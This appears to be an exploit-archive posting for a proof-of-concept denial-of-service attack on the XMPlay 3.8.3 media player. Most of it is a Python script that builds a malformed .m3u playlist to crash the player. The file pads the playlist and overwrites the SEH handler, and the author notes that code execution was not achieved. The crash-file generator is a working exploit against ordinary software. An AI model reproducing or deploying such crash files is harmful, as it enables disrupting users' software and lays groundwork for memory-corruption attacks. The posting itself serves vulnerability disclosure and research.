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XMPlay 3.8.3 Denial Of Service

XMPlay 3.8.3 Denial Of Service
Posted Nov 18, 2018
Authored by s7acktrac3

XMPlay version 3.8.3 suffers from a denial of service vulnerability.

tags | exploit, denial of service
MD5 | 9c717bb9f7999e7940fc1b2648402f53

XMPlay 3.8.3 Denial Of Service

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# Exploit Title: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC)
# Date: 2018-11-18
# Exploit Author: s7acktrac3
# Vendor Homepage: https://www.xmplay.com/
# Software Link: https://support.xmplay.com/files_view.php?file_id=676
# Version: 3.8.3 (latest)
# Tested on: Windows XP/7/8
# CVE : N/A
#
# Lauch XMPlay and either drag xmplay.m3u into the XMPlay window or
# File Menu-> select winamp.m3u and Crash!
# -*- coding: utf-8 -*-
#
# Note: Successfully can overwrite the SEH chain & control the handler and nSEH
# but the address get mangled & unreconizable, for this reason could not turn into
# code execution.

import struct
from struct import pack

file_data = "#EXTM3U\n\r"
file_data += "#EXTINF:200,Sleep Away\n\r"
file_data += "http://test."

max_size = 3000 - 1
nseh_offset = 656

seh_overwrite = pack("<L", 0x00402450)

payload = "A" * nseh_offset # padding for nseh
payload += "BBBB" # nseh
payload += seh_overwrite # seh

#padding for rest of payload - pipe "|" is needed somehow to force crash
payload += "D" *(max_size - len(payload)) + "|"
print "[+] Creating .m3u file with payload size: "+ str(len(payload))

exploit = file_data + payload

file = open('xmplay.m3u','w');
file.write(exploit);
file.close();

print "[+] Done creating the file"

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